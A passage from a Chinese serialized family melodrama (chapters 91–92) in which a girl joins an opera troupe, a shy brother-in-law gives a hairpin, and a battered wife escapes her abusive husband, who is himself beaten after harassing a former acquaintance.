这时,赵班主像是想起了什么往事一般,目光变得有些悠远起来。她悠悠地叹了口气,轻声说道:“这副天真无邪又楚楚可怜的模样,倒是和当年的白露你刚进我赵家班时差不多大小呢!我至今仍记得清清楚楚,那时是一个冰天雪地的寒冬,你被你娘牵着小手来到我的面前,她声泪俱下地求我收下你。你娘说,如果我不肯收下你的话,你那个狠心的爹就要将你卖给人贩子去了!唉,当时看着你们母女俩如此可怜,我终究还是心软答应了下来。谁曾想,就在我收下你的第二天,你娘竟然惨遭你爹毒手,活生生被他给打死了!真是让人意外啊......” 这时,只见白露那双美丽的眼眸中噙满了晶莹剔透的泪水,仿佛一颗颗璀璨的珍珠即将滚落下来。她静静地站在那里,整个人都被一种深深的悲伤所笼罩着,似乎已经完全沉浸在了往昔岁月的回忆里无法自拔。 一旁的冬雪眨巴着灵动的大眼睛,若有所思地想了片刻后,突然抬起头看向赵班主,用稚嫩而坚定的声音说道:“班主姐姐,我……我想来学习唱戏,可以吗?我看到刚才那两位大哥哥那么厉害,心里好生羡慕!而且,如果我能像他们一样厉害了,到时候我就能够保护我娘啦!” 赵班主听了这话,微微眯起眼睛上下打量了一番眼前这个充满渴望的小女孩儿,然后缓缓开口问道:“小丫头片子,你当真愿意跟着我学戏?这学戏可不是一件轻松容易的事儿啊!” 冬雪毫不犹豫地点点头,应道:“嗯嗯,班主姐姐,我真的愿意学戏!不过……不过我还是有点担心我娘,不知道她一个人会不会……?”说着,小家伙的眼眶不禁又红了起来。 赵班主见此情形,心中不由得一动,心想这孩子倒是个孝顺懂事的好孩子。于是她笑着对冬雪说:“既然你如此有孝心,那我今日便破例做一回好人吧!正巧咱们班子里还缺少一个帮忙打杂和做饭的人手,不妨让你娘来我赵家班做工好了。” 第91章 发簪 听到赵班主答应收自己为徒,冬雪激动万分,赶忙双膝跪地,恭恭敬敬地磕了几个响头,并连连道谢:“多谢班主姐姐成全!谢谢班主姐姐!您真是个大好人!” 赵班主小心翼翼地扶起冬雪,轻柔地伸出手指,仿佛对待一件稀世珍宝般轻轻抚摸着那冬雪粉嫩的小脸。这一举动让赵班主不由自主地陷入了一段深埋心底的回忆之中。 原来,这位看似光鲜的赵班主,本不姓赵,赵家班乃是以前老班主的姓。现在的班主曾经也是十年前的台柱子叫月儿,老班主对她甚是喜欢,临终前把赵家班交给了她! 在月儿的童年时光里,隐藏着一个令人心碎的故事。那时,她的父亲就是个酒鬼,对美酒的痴迷到了无以复加的地步。家中本就微薄的积蓄,尽数被他挥霍在了买酒上。而每当父亲醉酒归家,便是这个家庭噩梦降临之时。 那个可怕的夜晚,父亲在酩酊大醉之后回到家中,发酒疯的他失手误杀了母亲。然而,年幼的月儿当时正沉浸在甜美的梦乡之中,对这场悲剧浑然不觉。直到次日清晨,当她从睡梦中醒来,习惯性地呼唤着母亲时,却没有得到任何回应。于是,月儿开始哭泣着四处寻找母亲的身影,但她的哭声却惊醒了仍处于昏睡中的父亲。被扰了清梦的父亲,满脸怒容地看着哭闹不休的女儿,只觉得心烦意乱。他毫不犹豫地抬起脚,狠狠地将月儿踢出了家门。 月儿找不到娘,心里很害怕,她一边抽泣着,一边漫无目的地在街头巷尾寻找着母亲。幸运的是,在她最无助的时候,遇到了那位心地善良的老班主。老班主见这孩子如此可怜,心生怜悯之情,决定收留她,并带着她踏上了学习戏曲之路。 在随后的日子里,老班主将月儿视若己出,悉心照料、耐心教导。月儿也十分争气,凭借着自身的天赋和努力,逐渐在戏曲领域崭露头角。随着时间的推移,老班主的身体日渐衰弱,最终走到了生命的尽头。临终前,老班主紧紧握着月儿的手,语重心长地将整个戏班托付给了她,并再三叮嘱她一定要用心唱戏,照顾好这群身世坎坷的孩子们。赵家班不能散,因为这些孩子同月儿一样,无依无靠,实在惹人怜惜。 如今,月儿早已长大成人,成为了众人敬仰的赵班主。她始终铭记着老班主的嘱托,兢兢业业地经营着赵家班,不敢有丝毫懈怠。 五子满脸疑惑地看着赵班主,忍不住开口问道:“班主,您真的打算留下她呀?”五子的声音瞬间将沉浸在回忆中的赵班主猛地拉回到现实中来。 只见赵班主微微一笑,眼中闪过一丝欣喜之色,回答道:“这有什么不好的呢?咱们赵家班已经许久未曾招收新弟子啦,如今正好可以给你收一个可爱的小师妹!”说着,赵班主轻轻地拍了拍五子的肩膀。 紧接着,赵班主转头对着五子吩咐道:“五子啊,快去把六子还有大家伙们都喊进来吧!”五子闻言,赶忙应了一声,然后迅速转身跑去寻找六子。 没过多久,就看见两个身材矫健、英姿飒爽的武生一路小跑着来到了赵班主面前。其中稍矮一些的那位便是六子,后面还跟着几个大大小小的孩子! 赵班主微笑着点了点头,然后指向身旁那个怯生生的冬雪,介绍道:“这位雪儿姑娘以后可就是你们的小师妹啦!你们可都不能欺负她!” 随后又对着五子和六子说:“你们俩先去把脸上的妆容卸掉,然后陪着雪儿师妹一起去找找她的娘亲。” 听到这话,六子不禁好奇地看了一眼那小女孩儿,嘴里喃喃自语道:“小师妹?”显然对于这个突然冒出来的小师妹感到有些意外。 不过很快,六子便回过神来,与五子一同齐声应道:“好嘞,班主放心,我们一定会照顾好小师妹的!”说完,两人便转身朝着后台走去卸妆换装。而其他在场的人见此情形,也纷纷笑着点头,表示对赵班主决定的认同和支持。 只见赵班主满脸笑容地伸出手,轻轻地拉住了冬雪那双略显稚嫩的小手。她目光慈爱地凝视着眼前这个惹人怜爱的小姑娘,语重心长地说道:“从今往后啊,‘雪儿’便是你的艺名啦!而且呢,从今天开始,你也就只能跟随咱们大家伙儿一块儿姓赵了!” 听到这番话,冬雪微微颔首,轻轻应了一声:“嗯……”她那如秋水般澄澈的眼眸中闪过一丝不易察觉的迷茫与不安,但很快便被坚定所取代。或许对于这个年幼的孩子来说,拥有一个新的艺名都意味着一种全新的开始,尽管未来充满了未知,但她已经决定勇敢地去面对这一切。 且说这秀兰,在集市上回来可真是收获颇丰,她将买到的布料一股脑儿地放在炕上,开始细细盘算起来。 她心里想着,得先给云亭和云义哥俩每人做上一套新衣裳才行,毕竟他们整日在外奔波劳累,身上的衣物磨损得快。接着嘛,自然不能忘了老娘,也得给她老人家裁剪出一套合身又好看的衣服来。至于那几个小娃娃嘛,就排在后面慢慢做吧。 就在这时,云亭恰好被文孝叫出门去帮个忙。而杏花呢,则悠哉悠哉地跑到王大娘家串门闲聊去了。家里的那群孩子们倒是乖巧,正围着云义在院子里嘻嘻哈哈地玩耍呢。 云义瞧见大哥出了门,便微微一笑,伸手从兜里掏出几颗糖果来,然后蹲下身来轻声对小家伙们说道:“乖,你们先自个儿在这里玩一会儿哦!”说着便将手中的糖果递到了孩子们的面前。 拿到糖果后的孩子们别提有多高兴了,一个个欢呼雀跃着跑开继续玩耍去了。而云义呢,拍拍手上的灰尘站起身来,转身朝着秀兰所在的屋子走去。 刚一进屋,秀兰抬眼便看见了他,脸上立刻露出欣喜之色,连忙招呼道:“哎呀,云义,来得正好!快过来,让嫂子给你量量尺寸,好早点给你们兄弟俩做套新衣裳出来!” 云义面红耳赤地缓缓走近,心中犹如揣了一只活蹦乱跳的小兔子一般,紧张得要命。 而此时的秀兰却全神贯注于手中的活儿,压根儿没留意到云义那副羞涩窘迫的模样。毕竟在她眼中,经过这么多年的相处,云义早已如同自己的亲人一般亲近。而且,她早就把云义当成了亲兄弟来对待。 只见秀兰正认真细致地丈量着尺寸,动作轻柔且专注,完全沉浸其中,以至于对云义脸上细微的表情变化毫无察觉。 此刻,云义的心像是要跳出嗓子眼似的,突突突地狂跳个不停。每当秀兰稍稍靠近他一些,他便感觉自己全身的血液都瞬间沸腾起来,一股难以抑制的冲动涌上心头,恨不能立刻将眼前这个温婉可人的女子紧紧拥入怀中。然而,理智告诉他不可以这么做。于是,他只能强忍着内心翻涌的情感,默默地凝视着秀兰,心里暗自思忖,如果能够就这样安安静静地守护着她,远远的看着她度过这一生一世,或许也是一种别样的幸福吧。 就在这时,云义深吸一口气,鼓起勇气把手伸进衣兜,小心翼翼地掏出了一支精美的发簪——那是他方才在街上精心挑选回来的礼物。 然后,只见他站在原地,眼神闪烁不定,内心仿佛正经历着一场激烈的挣扎。他手中紧握着要送给嫂嫂的礼物,想要将这份心意传递给嫂嫂,但却又害怕遭到嫂嫂的拒绝。 经过一番思想斗争后,他迅速地将簪子悄悄地藏在了桌上的布料下面。做完这一切,他长长地舒了一口气,仿佛完成了一项艰巨的任务。 这时,云义抬起头来,看向正在忙碌中的嫂嫂,脸上露出一丝略带羞涩的笑容,轻声说道:“辛苦嫂子了!”声音虽然不大,但却饱含着对嫂嫂的感激之情。 听到云义的话语,秀兰停下了手中的活计,转过头来,微笑着对着云义摇了摇头,温柔地回应道:“哎呀,我可是你的嫂子呀,咱们本就是一家人,你跟我这么客气干嘛呢?你啊,还是应该听娘的话,早点儿成个家!这样也好有人照顾你。”说完,她继续低头忙着手上的事情。 然而,面对嫂嫂的这番关心和劝告,云义并没有说话。他只是默默地转过身去,迈着大步流星般的步伐朝着门外走去。阳光透过门缝洒在他的身上,映照出那个略微显得有些落寞的背影。 此时此刻,秀兰望着云义的身影,心中不禁暗自思忖起来:“这孩子,怎么气性还不小呢?我不过是随口说了几句,他竟然就这样一声不吭地走了。难道是我说错话惹他不高兴了吗?”想着,秀兰轻轻地叹了口气,重新开始专注于手头的工作。 回过头,翻到了云义放在桌上的簪子:“这哪儿来的簪子啊,不会是云亭送我的吧!”说完对着镜子簪了头发,云义站在门外侧着身朝里望着露出了一丝微笑! 午饭时分,一家人围坐在饭桌前准备享用午餐。就在这时,云亭无意间瞥见了秀兰头上那支精致的簪子,他不禁眼前一亮,好奇地问道:“咦,秀兰,这支簪子好生别致啊!我以前怎么从未见过你佩戴呢?” 秀兰听到云亭的询问,微微一愣,轻轻抚摸着头上的簪子说道:“啊?这……不是你送我的吗?”她的目光温柔地落在云亭身上。 云亭听闻此言,随即转头看向秀兰,眼中带着几分惊讶和疑惑,追问道:“我送的吗?我怎么不记得送过你这个!” 云义这么一听,顿时有些不好意思起来,他的脸颊微微泛红,嗫嚅道:“......那个......我觉得嫂子为我做衣裳实在是太辛苦了,所以便想着送件小礼物聊表心意。”说完,他羞涩地低下了头。 一旁的杏花见状,笑着插话道:“云义懂得感恩嫂子的付出,这是好事呀!咱们自家人可不就得相互照应嘛。” 云亭听后连连点头,脸上露出欣慰的笑容,夸赞道:“是啊,云义都知道感谢你嫂子啦,看来大哥大嫂平日里可没有白疼你哟!”说罢,大家相视一笑,饭桌上洋溢着温馨和谐的氛围。 传业仰着那张粉嘟嘟的小脸,眨巴着大眼睛,奶声奶气地说道:“娘戴这个簪子真好看!像仙女一样好看!” 秀兰听了儿子的夸赞,不禁抿嘴一笑,娇嗔道:“好啦,快吃你的饭吧,大人说话的时候,小孩子不许插嘴!”说着,她轻轻地摸了摸传业的小脑袋瓜。 一旁的杏花则把目光投向了正在埋头吃饭的传诚,皱起眉头说道:“哎,你瞧这传诚的头发,怎么最近一直都不见长啊?真是看着让人着急!” 秀兰放下手中的碗筷,无奈地叹了口气:“谁说不是呢!我也觉得奇怪得很呐。自从前些日子高烧以后,这头发就一直没见长出来过。” 杏花满脸担忧地看着云亭,提议道:“要不这样吧,过几天你们还是带他去看看医生吧,看看有没有什么药方能长出点头发来!” 云亭夹了一筷子菜放进嘴里,边嚼边说:“嗯……也许是孩子还太小了,身体发育比较慢呢。先别急嘛,再过段时间观察观察再说。说不定再长大些,这头发也就长起来啦!” 再说秋丽,她此刻蜷缩在床上,身体微微颤抖着,脑海中不断浮现出昨日在集市上所经历的可怕场景,心中不禁涌起一阵阵后怕。她紧闭双眼,仿佛还能感受到那个恶霸狰狞的面容和那双肮脏的手向自己伸来。一想到若不是云义及时出现,哪怕只是晚几分钟,后果简直不堪设想,自己恐怕就连清白之身都会被玷污。 此时的秋丽,心中除了恐惧之外,还有一丝难以言喻的懊恼。回想起当时的情景,文孝明明就在附近,把一切都看在眼里,但他竟然始终未曾移步过来瞧上一眼。秋丽咬了咬嘴唇,暗自叹息道:是啊,他毕竟已经成家,有着妻儿需要照顾,而我对他来说,终究不过是一个毫不相干的外人罢了…… 经过这一番波折之后,秋丽似乎突然间想通了许多事情。她缓缓睁开眼睛,望着漆黑的屋顶,嘴角泛起一抹淡淡的苦笑。既然如此,又何必再去苦苦纠缠呢?与其将希望寄托在一个不可能属于自己的人身上,倒不如放下过往,重新开始新的生活。 如今,身边好歹还有一个贴心的干娘陪伴着自己,虽然没有血缘关系,但这份情谊却是无比真挚。至少,从今往后,自己再也不会是孤单一人了。想到这里,秋丽轻轻地舒了一口气,心情也渐渐平复下来。 蒋晶晶这边,她牵着女儿的手,急匆匆地赶到了胡良全家门前。她深吸一口气,抬起手轻轻地敲了几下门。不一会儿,门开了,站在门口的正是胡良全的母亲。只见她满脸怒容,一看到蒋晶晶便气冲冲地说道:“你来干什么?良全认识你可真是倒了八辈子霉了!算我求求你,以后别再来纠缠我的儿子了行不行?” 面对胡母如此不客气的话语,蒋晶晶心里一阵委屈,但她还是强忍着泪水,轻声说道:“婶子,我没有别的意思,只是想来看看良全他现在到底怎么样了……” 胡母却根本不听她解释,不耐烦地挥挥手道:“你快走吧,我绝对不会让他见你的!要不是因为你,良全怎么会受伤呢?都是你害的!”说完,就要关门送客。 就在这时,院子里突然传来了胡良全虚弱但急切的声音:“娘,是不是晶晶来了啊?我好像听到她的声音了!” 蒋依依也连忙扯着嗓子喊道:“胡叔叔,我和娘一起来看您啦!” 胡母一脸怒容地吼道:“喊什么喊?吵吵闹闹像什么话!我儿子跟你们能有啥关系啊?赶紧走,别在这儿碍眼!”说完便双手叉腰,狠狠地瞪着眼前的人。 胡良全一脸哀求地看着母亲,说道:“娘,您就行行好,让我出去和晶晶说几句话嘛。求求您啦!”他一边说着,一边试图往门外挪动脚步。 胡母见状,气得直跺脚,指着胡良全骂道:“你看看你自己,都伤成这副德行了,还心心念念着那个丫头片子!你呀,就是个死脑筋,怎么这么不开窍呢?真要把我给活活气死不成!” 这时,站在一旁的蒋晶晶赶忙走上前来说道:“胡大哥,看到你没大碍我也就安心了。既然阿姨不让我们多说话,那我就改天再来看望你吧。”她的眼中满是关切之情。 胡良全强忍着身上的伤痛,微笑着对蒋晶晶说:“晶晶,谢谢你的关心,我真的没事儿。你们先回家去吧,等我的伤养好了,一定会去找你的。”尽管身体状况不佳,但他的目光始终停留在蒋晶晶身上,充满了温柔与不舍。 蒋晶晶紧紧地拉住蒋依依的手,两人又急匆匆地赶回摊位前。然而,她们所看到的景象简直令人瞠目结舌!原本摆放整齐的摊位此刻竟然变得一片狼藉,各种物品散落一地,仿佛经历了一场可怕的风暴袭击。而更令人震惊的是,何芊菊母女竟消失得无影无踪! 蒋晶晶心急如焚,她一把拉住身旁路过的一个街坊,焦急地询问道:“这到底是怎么回事?摊子上的人去哪儿了?”那位街坊满脸惊恐,颤抖着声音回答道:“哎呦,你们可算是回来了!刚才来了个凶神恶煞的男人,他大声嚷嚷着要带老婆孩子回家。那男人又打又骂的,样子十分吓人,我们这些旁人哪敢上前阻拦啊!只能眼睁睁地看着他把那女人带走了。” 听到这里,蒋晶晶气得直跺脚,嘴里不停地嘟囔着:“我早就跟她说了,这两天庙会人太多太乱,让她在家里好好休息着。等过几天再出来做生意。可她就是不听劝,非要趁着人多的时候能多赚点钱。这下可好,又被那个男人给抓回去了!”说着,蒋晶晶无奈地摇了摇头,开始动手收拾起这片混乱不堪的摊子。 幸运的是,经过一番仔细检查,发现煮馄饨的锅灶还完好无损。于是,母女俩赶紧将一些还能用的物品整理起来,带着满心的忧虑回了家。只是此时的蒋晶晶完全没有意识到,更大的麻烦正在不远处等待着她…… 李万原紧紧地扯住何芊菊那纤细的胳膊,像拖拽一个毫无生命的物件一般,蛮横地朝着家的方向走去。每一步都仿佛带着沉甸甸的压迫感,而何芊菊则默默地低着头,心中却如波澜壮阔的大海般翻腾不息。 她暗自思忖着,冬雪这会儿大概早就藏好了吧?这一次,她暗暗下定决心要奋起反抗,再也不愿忍受李万原日复一日的欺凌、辱骂和毒打!这个念头如同燃烧的火焰,瞬间点燃了她内心深处压抑已久的怒火。 就在这时,何芊菊瞅准时机,突然张开嘴巴,狠狠地咬住了李万原粗壮的手臂。李万原猝不及防,被这突如其来的剧痛刺激得大叫一声,下意识地松开了紧握着何芊菊胳膊的手。趁着李万原还沉浸在疼痛之中,用另一只手不停地抚摸受伤处时,何芊菊猛地用尽全身力气向他狠狠推去。由于事发突然,再加上李万原完全没有防备,他那双本就不太稳当的双腿顿时失去平衡,整个身体向前倾倒,狼狈不堪地摔了一个大大的跟头。 见此情形,何芊菊毫不犹豫,立刻撒开脚丫子拼命狂奔而去。她的身影犹如离弦之箭,迅速消失在了道路的尽头。身后传来李万原气急败坏的叫骂声:“该死的贱人!等老子抓到你,非打死你不可!” 第92章 最毒妇人心 然而,何芊菊此时心中只有一个念头,那便是尽快逃离李万原这个恶魔的掌控。那些威胁和恐吓对她来说已经毫无意义,她完全顾不得其他,只是拼尽全力、不顾一切地朝着前方狂奔而去。每一步都仿佛用尽了全身的力气,汗水湿透了她的衣衫,但她不敢有丝毫停歇。 此刻,逃离李万原的魔掌成为了何芊菊生命中的唯一信念。只要能够摆脱掉那无尽的苦难生活,就算付出再大的代价也在所不惜。 何芊菊转眼间就钻进了一条狭窄幽深的巷子之中。李万原一路紧追不舍,却因为不熟悉地形而跟丢了目标。他站在原地,左顾右盼,探头探脑地四处张望着,试图寻找到何芊菊的踪迹。 正当李万原焦急万分的时候,突然有一个身影从他身边快速掠过。李万原先是一愣,随后便觉得这个人有些眼熟,似乎在哪里曾经见到过。 李万原急忙回过身去,目光紧紧锁定住那个渐行渐远的女子背影。他努力在脑海中搜索着关于此人的记忆,突然间,像是一道闪电划过夜空般,他猛地想起了什么。 于是,李万原毫不犹豫地迈开大步,迅速跑上前去,伸手轻轻拍了一下那个女子的肩膀。那女子听到身后传来声响,缓缓转过头来。当她看到李万原时,脸上露出一丝惊讶的神情。 李万原原本紧绷着的面庞瞬间舒展开来,堆满了笑容,就像一朵盛开的菊花一般。他微微弯下腰,语气谄媚得让人起鸡皮疙瘩:“哎呦,瞧瞧这是谁呀!哎呀呀,果然是您呐!这可真是太巧啦,老天爷也眷顾咱,能让咱俩在这儿邂逅。这么久没见面了,您依然如以前那般美丽动人,简直就是仙女下凡呢!” 然而,对面那位女子却一脸冷漠,眉头微皱,毫不客气地回应道:“你认错人了吧,我可不认识你!” 听到这话,李万原脸上的笑容丝毫未减,反而变得更加灿烂了,他连忙摆手解释说:“别介啊,咋可能会不认识呢?我对您可是印象深刻得很呐!想当年,我可是连您那啥……嘿嘿嘿,都瞧见了哟!而且您当时还给我脑袋上来了那么一下子呢,这些事儿难道您都忘光啦?” 女子的脸色愈发难看,她瞪大眼睛怒视着李万原,提高音量呵斥道:“你这人真是莫名其妙!我再说一遍,你真的认错人了!你要是再敢这样胡说八道,信不信我马上叫人过来收拾你!” 面对女子的威胁,李万原不仅没有害怕退缩,反而往前凑了凑,压低声音嬉皮笑脸地继续说道:“哎呦呦,您可千万别叫人呐!我这不是跟您开玩笑嘛。不过话说回来,我到现在还清清楚楚地记得,那晚上的月亮多亮啊,照的我可是连您那腰上的痣我可都看的清楚着呢,嘿嘿,这么隐秘的事情您总不会否认吧?您应该也不想让周围的人都知道这件事吧!” “你到底想要干什么?”那女子瞪大了眼睛,冲着面前的李万原问道。 只见李万原一脸谄媚地笑着说:“嫂子,啊不,小翠,你终于记起我了?你可真够狠心的啊,自己的亲生儿子都可以不要了?”他的话语中带着一丝嘲讽和不满。 小翠指着李万原骂道:“你可别胡说八道!再乱说话,小心你的舌头被人给拔了去!” 李万原却丝毫不在意小翠的愤怒,继续说道:“李大虎可是找了你多少年了都没找着你,你这躲躲藏藏的本事可真是不小啊!不过话说回来,你以为你能一直这么藏下去吗?” 小翠冷哼一声,狠狠地回道:“那可就不劳您费心了!我的事情用不着你来管!” 这时,李万原突然露出一副猥琐的笑容,压低声音说道:“还记得李安硕那小子吧?当初在那玉米地里头……啧啧啧,别提有多销魂了!要不是他突然冒出来坏了咱们的好事儿,恐怕咱俩早就成了好事啦!我现在可都还清楚的记得你那手感……那身段……”说着,他竟不知羞耻地伸出手,试图搂住小翠的腰。 只见小翠那纤细的腰肢如同水蛇一般扭动着,继续袅袅娜娜地向前走去,对于身后李万原的纠缠,她竟然连一丝一毫的回应都没有给予。 李万原见状,心中不禁涌起一股莫名的冲动,胆子也愈发大了起来。 然而,就在他以为小翠就这么听话的愿意让他搂着的时候,令人意想不到的事情发生了。突然间,一个身材魁梧的男人犹如鬼魅般从旁边窜了出来,二话不说,抬手就是一记猛力的拳头,直直地砸在了李万原的脸上。 “老子的女人你也敢动手?活得不耐烦了吧!”那个男人怒目圆睁,恶狠狠地吼道。 而此时的小翠,却像是瞬间变了个人似的,原本冷若冰霜的面容瞬间换成了一副楚楚可怜、委屈巴巴的模样。她娇柔地说道:“哎呀,人家好害怕呀,真不知道从哪里冒出来这么一个凶神恶煞的人,愣是要对我非礼呢!”说着,还假装用手帕擦向眼睛,假装哭起来。 那男人一听这话,更是怒火中烧,压根儿就不给李万原任何解释的机会,如雨点般的拳脚便铺天盖地地朝李万原招呼过去。李万原被打得毫无还手之力,只能抱头鼠窜,但依旧躲避不及那些凌厉的攻击。不一会儿工夫,他已经被揍得鼻青脸肿,狼狈不堪。 最后,那个男人似乎觉得出够了气,往地上狠狠啐了一口唾沫,然后一把搂住小翠的腰:“别怕,这种货色还想吃你的豆腐,看老子不把他打成豆腐!” 随后搂着小翠扬长而去。在离去之时,小翠还不忘回过头来,对着倒在地上的李万原露出了一抹狡黠且得意的微笑,仿佛一切都尽在她的掌控之中。 李万原艰难地从地上缓缓爬起,他只觉得浑身酸痛无比,仿佛身体都已经散架了一般。他一边用手撑着地面,一边喘着粗气,嘴里还喃喃自语道:“果然啊,最毒妇人心呢!这娘们儿真是太心狠手辣了!” 原来,李万原刚刚遭受到了那个男人猛烈的殴打,伤势颇为严重。此刻的他,脸上青一块紫一块,嘴角还挂着一丝鲜血,模样甚是狼狈不堪。经过一番思索之后,李万原最终决定还是先返回家中好好调养几日,等身体恢复得差不多了,再来找何芊菊母女。 而另一边,何芊菊在惊慌失措地跑开后,心中第一个念头便是赶紧寻找到自己的女儿。于是,她一路狂奔,口中不停地呼喊着冬雪的名字。她穿过了一条又一条狭窄的巷子,脚步越来越急促,额头上也渐渐冒出了细密的汗珠。 就在这时,突然从不远处传来了一声清脆的回应:“娘,我在这里!”听到这个熟悉的声音,何芊菊心头一喜,急忙加快步伐朝着声音传来的方向跑去。待到走近一看,只见冬雪正站在那里,身旁还有两个陌生的小男孩——小五和小六。 母女二人相见,瞬间紧紧相拥在了一起。何芊菊激动得热泪盈眶,她上下打量着冬雪,关切地问道:“孩子,你有没有受伤?让娘看看……”确认冬雪安然无恙后,何芊菊这才稍稍松了一口气。随后,她转过头看向小五和小六,疑惑地问道:“这两位是谁呀?怎么会跟你在一起呢?” 冬雪满心欢喜地拉着母亲何芊菊的手说道:“娘,您看,这就是我的两位师兄。赵班主已经正式收我为徒啦!以后我就要跟着他们一起学戏。而且呀,班主姐姐还特意说了,想请娘您过去烧饭,还会给您开工钱的。我一定要努力学戏,变得跟两位师兄一样出色、厉害,那样的话,咱们就再也不用害怕爹爹过来欺负咱们了!” 听到女儿这番话,何芊菊不禁悲从中来,紧紧地将冬雪拥入怀中,泪水止不住地流淌下来,哽咽着说道:“孩子啊,都怪娘没用,没能好好保护你。学戏可不是一件轻松容易的事儿,那得吃多少苦啊!” 然而,小小的冬雪却表现出了超乎寻常的坚强与勇敢,她用小手轻轻拭去母亲脸上的泪痕,安慰道:“娘,您别哭了。冬雪一点儿也不害怕吃苦受累,只要能够离开爹爹,永远陪在娘的身边,无论去到哪里,对我来说都是最幸福的事情!” 一旁的五子见到这情形,急忙开口插话道:“婶子啊,您看这儿人来人往的,着实不是个说话的好地方呢。依我看呐,咱们不如先回赵家班去吧。”他一边说着,一边用眼神示意着周围喧闹的人群。 何芊菊听了五子的话,稍稍沉吟片刻后,微微颔首表示同意,轻声回应道:“嗯,那麻烦你们两位先把冬雪给带过去。赵家戏班的位置我清楚着呢。只是我眼下还得回去一趟,拾掇一下,晚一点我自会前去寻你们的。”话音刚落,她情不自禁地再次深情凝望了一眼身旁的冬雪,眼中满是浓浓的不舍之情。 这时,六子也赶紧凑上前说道:“婶子,您一个人独自回去,咱们都放心不下呀。要我说,干脆咱们一块儿得了,也好彼此有个照应不是?” 于是乎,一行人便调转方向,径直朝着蒋晶晶的家迈步而去。不多时,他们便来到了蒋晶晶家门口。然而,五子和六子并未跟着迈进屋内,而是双双停留在门外守候着。只见何芊菊轻车熟路地牵着冬雪跨进大门,一进门,二话不说,“扑通”一声就在蒋晶晶跟前双膝跪地,满脸愧色地哭诉道:“蒋大姐啊,真是对不住您呐!您本是一片好心,尽心尽力地帮衬着咱娘俩,谁承想到头来反倒让您受了牵连啦!” 蒋晶晶一脸惊讶地看着何芊菊,连忙说道:“哎呀,快起来,你这是干啥呢?别这样跪着啦!”说着便伸手去扶她。 何芊菊却执拗地不肯起身,手里紧紧攥着一叠钞票,眼中满含愧疚与恳切:“蒋大姐,这点钱虽然不多,但真的是我最近好不容易攒下来的。就当是我对您的一点小小赔偿,请您无论如何都要收下啊!” 蒋晶晶无奈地叹了口气,摆了摆手道:“嗨,说啥赔偿不赔偿的哟!我那重要东西压根儿就没摔坏嘛,不过就是打破了几个碗而已,哪用得着你来赔钱呀!再说了,你挣点钱也不容易,瞧瞧你身上,今儿个是不是又挨打了?唉……那个混蛋,他今天能找过来,明天肯定还会再来找麻烦的。依我看呐,你们娘俩儿最好还是出去躲一阵子比较好!” 听到这话,何芊菊抬起头,泪水在眼眶里打转,声音略微颤抖地说道:“蒋大姐,其实这也是我正想跟您说的。我和冬雪确实没法再留在这儿了,可要是我们走了,那家伙肯定不会善罢甘休,说不定还会变本加厉地来找您的麻烦。所以,要不咱们一块儿离开这个地方吧!” 蒋晶晶面带微笑地看着眼前的人说道:“哎呀,你就别担心我了!我在这儿都已经好些年啦,谁有那个胆子来欺负我呀?你们呐,就放宽心吧!你赶紧带上冬雪走就是了,不管到了啥地方,一定得写信回来跟我说一声哦!” 何芊菊拍了一下自己的额头,略带歉意地回应道:“瞧我这记性,居然把这茬给忘得死死的!冬雪跟我说啊,她打算带我一块儿去赵家班呢。而且人家赵家班的班主已经答应收她做徒弟啦,她想去那儿学戏!所以啊,咱们往后估计就在赵家班落脚咯!” 蒋晶晶听后眼睛一亮,兴奋地拍手叫好:“这可真是太好了!赵家班那可是出了名的有名望啊!照这样下去,说不定以后冬雪真能成为一个大红大紫的角儿呢!” 正说着话呢,只听见门外传来一阵急促的呼喊声:“婶子、师妹,你们要是都收拾妥当了,那就赶快出发吧!别让班主等急喽!”原来是五子在外面扯着嗓子叫喊着呢。 何芊菊听到呼喊后,赶忙应声道:“好嘞,这就来!”她转身面向蒋晶晶,微笑着说道:“蒋大姐,那我们就先告辞啦,如果您这边有什么事情需要帮忙的话,可以随时到赵家班来找我们的!”说完,还挥了挥手以作道别。 蒋晶晶微微颔首,表示应允,目光温和地看着何芊菊母女俩渐行渐远的身影。这时,站在一旁的蒋依依好奇地扯了扯母亲的衣角,仰头问道:“娘,冬雪妹妹这是要去学唱戏吗?” 蒋晶晶轻轻地点了点头,回答说:“是啊,孩子。她们住在咱们这里终究不是个长久之计呀。学戏虽说会辛苦一些,但好歹能让她们母女二人有个安身之所,不必再过那种提心吊胆的日子了。而且这赵家班子名声在外,颇有名气,想来日后发展也定然不会太差的。” 蒋依依眨巴着那双水灵灵的大眼睛,似懂非懂地点了点头,心中对于学戏这件事依旧充满了疑惑和好奇。 而另一边,何芊菊母女已经顺利抵达了赵家班。刚一进门,热情的赵班主便迎了上来,笑着对她们说道:“热水早就给你们准备好了,快些去梳洗一番吧,把身上这身脏衣服换下来,穿上干净整洁的衣裳。等收拾妥当之后,咱们再来好好聊聊!” 何芊菊满脸感激地说道:“谢谢班主您的大恩大德!若不是您愿意收留我们,恐怕我与小女便要流落街头了。” 母女二人沐浴完毕后走出浴室,身上穿着崭新而舒适的衣物。冬雪满心欢喜地对母亲说:“娘,您瞧这班主给咱们的衣裳,穿着可真是太舒服啦!就好像专门为咱们量身定做似的呢。” 何芊菊微笑着摸了摸女儿的头,温柔地应道:“是啊,所以咱们得赶紧去向班主道谢才行呀。”说着,她拉起女儿的小手,一同朝着赵班主所在之处走去。 不一会儿,她们便来到了赵班主跟前。只见冬雪二话不说,噗通一声跪倒在地,恭恭敬敬地说道:“谢谢班主肯收留我和我娘!从今往后,我定会努力学艺,绝不辜负您的一片好心!” 赵班主连忙上前将冬雪扶起,和蔼可亲地笑着回答道:“哎呀孩子,快快起来,不必如此多礼。既然你已经决定拜入我的门下成为弟子,那咱们便是一家人了,一家人之间何需这般客气。” 站在一旁的何芊菊也赶忙开口说道:“班主大人所言极是,但这份恩情我实在无以为报。若非班主您大发慈悲愿意收留于我,我真不知以后该去往何处安身立命啊。还望班主日后多多提点教导小女,我也在此先谢过了!” 赵班主缓缓地将目光转向站在一旁的冬雪,她的眼中透露出一丝温和与慈爱,轻声说道:“冬雪啊,你先到院子外面去和其他小伙伴们一起玩耍吧,我有些重要的事情要和你的母亲谈一谈。” 